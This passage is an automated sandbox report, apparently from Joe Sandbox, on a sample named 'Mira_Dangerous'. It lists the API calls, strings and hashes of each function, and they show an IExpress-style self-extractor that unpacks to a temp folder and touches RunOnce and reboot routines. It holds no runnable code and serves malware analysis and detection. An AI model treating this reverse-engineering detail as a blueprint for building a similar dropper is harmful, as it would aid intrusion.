Instruction Fuzzy Hash: B951EBB1A0AB4286EB10AB11E854375FBA0FB89746FC661B5D94D42774DF3CE049CF28

Function 00007FF7A8CC30EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF7A8CC3167
LoadLibraryA.KERNEL32 ref: 00007FF7A8CC318B
GetProcAddress.KERNEL32 ref: 00007FF7A8CC31A9
DecryptFileA.ADVAPI32 ref: 00007FF7A8CC31C3
FreeLibrary.KERNEL32 ref: 00007FF7A8CC31CC
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7A8CC31FD

Part of subcall function 00007FF7A8CC60A4: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7A8CC3123), ref: 00007FF7A8CC60C9

Strings

advapi32.dll, xrefs: 00007FF7A8CC3173
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC31BC, 00007FF7A8CC3273
DecryptFileA, xrefs: 00007FF7A8CC319F

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-58291647
Opcode ID: 318615db84064735d313a4df34e1aaf9c06dfad497c9bce78216585d7a81758b
Instruction ID: aee02915fc60b529dd649c25b051698cabca31caf9a46eb436d08c3e5df8bd1c
Opcode Fuzzy Hash: 318615db84064735d313a4df34e1aaf9c06dfad497c9bce78216585d7a81758b
Instruction Fuzzy Hash: 4C7141E0E0F64385FB60BB21B940376E694EF84750FC760B9D94D825B2DF2CE4458E28

Function 00007FF7A8CC64E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7A8CC2CE1), ref: 00007FF7A8CC657C
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7A8CC2CE1), ref: 00007FF7A8CC662F
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF7A8CC2CE1), ref: 00007FF7A8CC666F

Part of subcall function 00007FF7A8CC63B8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF7A8CC2CE1), ref: 00007FF7A8CC6423
Part of subcall function 00007FF7A8CC63B8: GetFileAttributesA.KERNELBASE ref: 00007FF7A8CC6432
Part of subcall function 00007FF7A8CC63B8: GetTempFileNameA.KERNEL32 ref: 00007FF7A8CC645B
Part of subcall function 00007FF7A8CC63B8: DeleteFileA.KERNEL32 ref: 00007FF7A8CC6473
Part of subcall function 00007FF7A8CC63B8: CreateDirectoryA.KERNEL32 ref: 00007FF7A8CC6484

Strings

ppc, xrefs: 00007FF7A8CC65A0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC6528, 00007FF7A8CC65DF
mips, xrefs: 00007FF7A8CC65B2
i386, xrefs: 00007FF7A8CC65BB
alpha, xrefs: 00007FF7A8CC65A9

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-186922987
Opcode ID: 7d4d860df232b0db62657ebb5dc88ca939e84df122defa6df573680caeaa5849
Instruction ID: fc3e2d1129bcba490da25f33f54312d12262aa2cb513cf46001ab79e04d63763
Opcode Fuzzy Hash: 7d4d860df232b0db62657ebb5dc88ca939e84df122defa6df573680caeaa5849
Instruction Fuzzy Hash: 495184F1E0F64281FB50AB2599106B5E7A0AF44740FDA60B9D94E437B5DF3CE409CB28

Function 00007FF7A8CC2C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF7A8CC2C69
GetModuleHandleW.KERNEL32 ref: 00007FF7A8CC2C86
GetProcAddress.KERNEL32 ref: 00007FF7A8CC2CA1
ExitWindowsEx.USER32 ref: 00007FF7A8CC2D6C
CloseHandle.KERNEL32 ref: 00007FF7A8CC2D8B

Strings

@, xrefs: 00007FF7A8CC2D45
HeapSetInformation, xrefs: 00007FF7A8CC2C97
Kernel32.dll, xrefs: 00007FF7A8CC2C7F

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: 91cf7217d730e16829238764ce0eddd89ffa8fd2b17e338e81c8c80914c49845
Instruction ID: b59f52ee25d2458b07a3d19e6730e4f4aff17bbed604b498958b990c81317ebe
Opcode Fuzzy Hash: 91cf7217d730e16829238764ce0eddd89ffa8fd2b17e338e81c8c80914c49845
Instruction Fuzzy Hash: BF3152F1E0A64286FB607B20A440275F690AF65B40FC661B5DA4D436B9EF7CE444CE28

Function 00007FF7A8CC204C Relevance: 12.1, APIs: 8, Instructions: 119filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 00007FF7A8CC20E5
lstrcmpA.KERNEL32 ref: 00007FF7A8CC2144
lstrcmpA.KERNEL32 ref: 00007FF7A8CC2164
SetFileAttributesA.KERNEL32 ref: 00007FF7A8CC21BD
DeleteFileA.KERNEL32 ref: 00007FF7A8CC21CD
FindNextFileA.KERNELBASE ref: 00007FF7A8CC21E1
FindClose.KERNELBASE ref: 00007FF7A8CC21F8
RemoveDirectoryA.KERNELBASE ref: 00007FF7A8CC2207

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction ID: ee267cb2025963ed77fdcf9595248aafa378f932eb440bdc9b6d95b63585b6a0
Opcode Fuzzy Hash: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction Fuzzy Hash: 685182B261AB81C5EB11AF20E8402F8F7A1FB45B84FC591B1DA4D036A4DF3CD909CB14

Function 00007FF7A8CC61EC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF7A8CC6231
DeleteFileA.KERNELBASE ref: 00007FF7A8CC6240
LocalFree.KERNEL32 ref: 00007FF7A8CC6253
LocalFree.KERNEL32 ref: 00007FF7A8CC6262
SetCurrentDirectoryA.KERNELBASE ref: 00007FF7A8CC62FB
RegOpenKeyExA.KERNELBASE ref: 00007FF7A8CC634E
RegDeleteValueA.KERNELBASE ref: 00007FF7A8CC636A
RegCloseKey.ADVAPI32 ref: 00007FF7A8CC637B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC629C
wextract_cleanup0, xrefs: 00007FF7A8CC6363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF7A8CC6340

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2202052387
Opcode ID: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction ID: 4e2ba8621a5b201c6cda13e1c0175b6497c2622a4f59b99c22dad3509d079754
Opcode Fuzzy Hash: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction Fuzzy Hash: 4F5142B1A0A642C6EB10AB14E4447B9F7A0FB45745FCA61B5D64D437B0CF3CE409CB28

Function 00007FF7A8CC4DCC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32 ref: 00007FF7A8CC4E60
LocalAlloc.KERNEL32 ref: 00007FF7A8CC4F61
LocalAlloc.KERNEL32 ref: 00007FF7A8CC4F99
MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Part of subcall function 00007FF7A8CC7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7A8CC7E8C
Part of subcall function 00007FF7A8CC7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7A8CC7ECA

LocalAlloc.KERNEL32 ref: 00007FF7A8CC4EFC
MessageBeep.USER32 ref: 00007FF7A8CC4FC2
MessageBoxA.USER32 ref: 00007FF7A8CC5007
LocalFree.KERNEL32 ref: 00007FF7A8CC5018

Part of subcall function 00007FF7A8CC7F04: GetVersionExA.KERNEL32 ref: 00007FF7A8CC7F59
Part of subcall function 00007FF7A8CC7F04: GetSystemMetrics.USER32 ref: 00007FF7A8CC7F93
Part of subcall function 00007FF7A8CC7F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC7FC8
Part of subcall function 00007FF7A8CC7F04: RegQueryValueExA.ADVAPI32 ref: 00007FF7A8CC8003
Part of subcall function 00007FF7A8CC7F04: RegCloseKey.ADVAPI32 ref: 00007FF7A8CC8016
Part of subcall function 00007FF7A8CC7F04: CharNextA.USER32 ref: 00007FF7A8CC8065

Strings

Mira, xrefs: 00007FF7A8CC4E91, 00007FF7A8CC4FF3
rce., xrefs: 00007FF7A8CC4DF7

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: Mira$rce.
API String ID: 2929476258-3314896916
Opcode ID: d01d15b3b6bc5348d8e1e4290b799411aa9174f53e9f7f21c0e7d225e718463d
Instruction ID: d03b86906ceabf8130b8e2712f78292cca178c9795cd17eddebb6044f621e1c4
Opcode Fuzzy Hash: d01d15b3b6bc5348d8e1e4290b799411aa9174f53e9f7f21c0e7d225e718463d
Instruction Fuzzy Hash: E761E8A1E0A7C186FB11AB25A4003B5EA90FF59754F8662B0DE4D437E1DF3CE585CB24

Function 00007FF7A8CC473C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF7A8CC47AE
WaitForSingleObject.KERNEL32 ref: 00007FF7A8CC47CA
GetExitCodeProcess.KERNEL32 ref: 00007FF7A8CC47E0
CloseHandle.KERNEL32 ref: 00007FF7A8CC4881
CloseHandle.KERNEL32 ref: 00007FF7A8CC4892
GetLastError.KERNEL32 ref: 00007FF7A8CC48BE
FormatMessageA.KERNELBASE ref: 00007FF7A8CC48EF

Strings

, xrefs: 00007FF7A8CC479C

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-3916222277
Opcode ID: e21b509cffe8503fd7179222637d6c67e2ff5f5646c012befc4f1d87719c6888
Instruction ID: 43475e60e4898c9a2a72a77b6376a99ad7049755fdfd7dfa0e1f7a4d57a4b88f
Opcode Fuzzy Hash: e21b509cffe8503fd7179222637d6c67e2ff5f5646c012befc4f1d87719c6888
Instruction Fuzzy Hash: 1151C5B290A681C6F760AF10E444379FBA0FB88755F86A175EA4D826B4CF7CD444CF28

Function 00007FF7A8CC2318 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF7A8CC236D
RegQueryValueExA.KERNELBASE ref: 00007FF7A8CC239C
RegCloseKey.KERNELBASE ref: 00007FF7A8CC23B7
RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC23EE
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF7A8CC2436

Strings

PendingFileRenameOperations, xrefs: 00007FF7A8CC238A
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF7A8CC235F
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF7A8CC23E0

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: ed84ebcdca9ba12ea1915114950aff5f0d43cebd3ec67e9f63dd23e0e0abc583
Instruction ID: 2862ee1e1f99dedf817a4c258d7ce58c2008bec3bf3af0c3428a0fd94fe7f115
Opcode Fuzzy Hash: ed84ebcdca9ba12ea1915114950aff5f0d43cebd3ec67e9f63dd23e0e0abc583
Instruction Fuzzy Hash: 19318E72A08B41CBD720AF25E8406A9F7A4FB88754F856675EA8D43F64DF38D054CF14

Function 00007FF7A8CC63B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A8CC114C: _vsnprintf.MSVCRT ref: 00007FF7A8CC1189

RemoveDirectoryA.KERNELBASE(0000000A,00007FF7A8CC2CE1), ref: 00007FF7A8CC6423
GetFileAttributesA.KERNELBASE ref: 00007FF7A8CC6432
GetTempFileNameA.KERNEL32 ref: 00007FF7A8CC645B
DeleteFileA.KERNEL32 ref: 00007FF7A8CC6473
CreateDirectoryA.KERNEL32 ref: 00007FF7A8CC6484
CreateDirectoryA.KERNELBASE ref: 00007FF7A8CC64BB

Strings

IXP%03d.TMP, xrefs: 00007FF7A8CC63E6
IXP, xrefs: 00007FF7A8CC644E

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction ID: b489f1cc0284eb1947f1d38f62502bbc884356897084cdd255894f0c7755e405
Opcode Fuzzy Hash: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction Fuzzy Hash: E72173B160994186E710AB12E9503F9F651FB8DB81FC6A170DD4E477B1CF3CD44ACA14

Function 00007FF7A8CC8200 Relevance: 12.1, APIs: 8, Instructions: 136
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A8CC8964: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7A8CC8994
Part of subcall function 00007FF7A8CC8964: GetCurrentProcessId.KERNEL32 ref: 00007FF7A8CC89A2
Part of subcall function 00007FF7A8CC8964: GetCurrentThreadId.KERNEL32 ref: 00007FF7A8CC89AE
Part of subcall function 00007FF7A8CC8964: GetTickCount.KERNEL32 ref: 00007FF7A8CC89BA
Part of subcall function 00007FF7A8CC8964: GetTickCount.KERNEL32 ref: 00007FF7A8CC89CA
Part of subcall function 00007FF7A8CC8964: QueryPerformanceCounter.KERNEL32 ref: 00007FF7A8CC89E5

GetStartupInfoW.KERNEL32 ref: 00007FF7A8CC8235
_amsg_exit.MSVCRT ref: 00007FF7A8CC8270
Sleep.KERNEL32 ref: 00007FF7A8CC827C
_initterm.MSVCRT ref: 00007FF7A8CC830A
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7A8CC8337
exit.MSVCRT ref: 00007FF7A8CC83C9
_cexit.MSVCRT ref: 00007FF7A8CC83D8
_ismbblead.MSVCRT ref: 00007FF7A8CC83F8

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction ID: 249d329a2f932d521fddb8cd848f2755645102d2b5e7050e2a8a3b934d76c245
Opcode Fuzzy Hash: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction Fuzzy Hash: 0B5183B190E64286F7A0AB60E854376E7A0FB44755FC630B1D94D826B0DF3CE655CF28

Function 00007FF7A8CC60A4 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7A8CC3123), ref: 00007FF7A8CC60C9
LocalFree.KERNEL32 ref: 00007FF7A8CC6142

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Part of subcall function 00007FF7A8CC7700: GetLastError.KERNEL32 ref: 00007FF7A8CC7704

Strings

UPROMPT, xrefs: 00007FF7A8CC60B1, 00007FF7A8CC610E
<None>, xrefs: 00007FF7A8CC615A
, xrefs: 00007FF7A8CC6198

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 7abbca11000329c2f37ab55ab60ccce920bf3b4aa4237eb4f55f589dacc1068b
Instruction ID: 1fc3b39e237bb40b7a402f6638e8a8d1d71cba515432cc1ff13e0ce01c59b540
Opcode Fuzzy Hash: 7abbca11000329c2f37ab55ab60ccce920bf3b4aa4237eb4f55f589dacc1068b
Instruction Fuzzy Hash: 1C3185F1E0A24287F7207B60E55077AFA61FB85745F82A1B8DA0E42AA1DF7DD0048F18

Function 00007FF7A8CC5380 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF7A8CC5407
CreateFileA.KERNELBASE ref: 00007FF7A8CC54C5
CreateFileA.KERNEL32 ref: 00007FF7A8CC557E

Strings

*MEMCAB, xrefs: 00007FF7A8CC53FD

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: 1554ed486bc7cac90ef3253e660ad31e834894ade489ea310015c337a2cd6deb
Instruction ID: b078a1fb87168d539c26e00813a1ef9c163f94d5a04cdcb31ef0776c327bef3d
Opcode Fuzzy Hash: 1554ed486bc7cac90ef3253e660ad31e834894ade489ea310015c337a2cd6deb
Instruction Fuzzy Hash: 8961D9F2909B4186F7609B14A480379FA91F745B75F8663B1DA6E027E0CF3CE0458F28

Function 00007FF7A8CC58B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF7A8CC598F
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7A8CC59AD
SetFileTime.KERNELBASE ref: 00007FF7A8CC59D5
SetFileAttributesA.KERNELBASE ref: 00007FF7A8CC5A0B
SetDlgItemTextA.USER32 ref: 00007FF7A8CC5A3E

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC593B, 00007FF7A8CC5A5A

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-2312194364
Opcode ID: 94d827d004676d0e23b6a3eaf0944199c835ba76f01473357c705151827b719a
Instruction ID: 9ecd082f8f15b391698e7c8b4a4baefd96a24939a3e9cf68a7dfa5384d3f469c
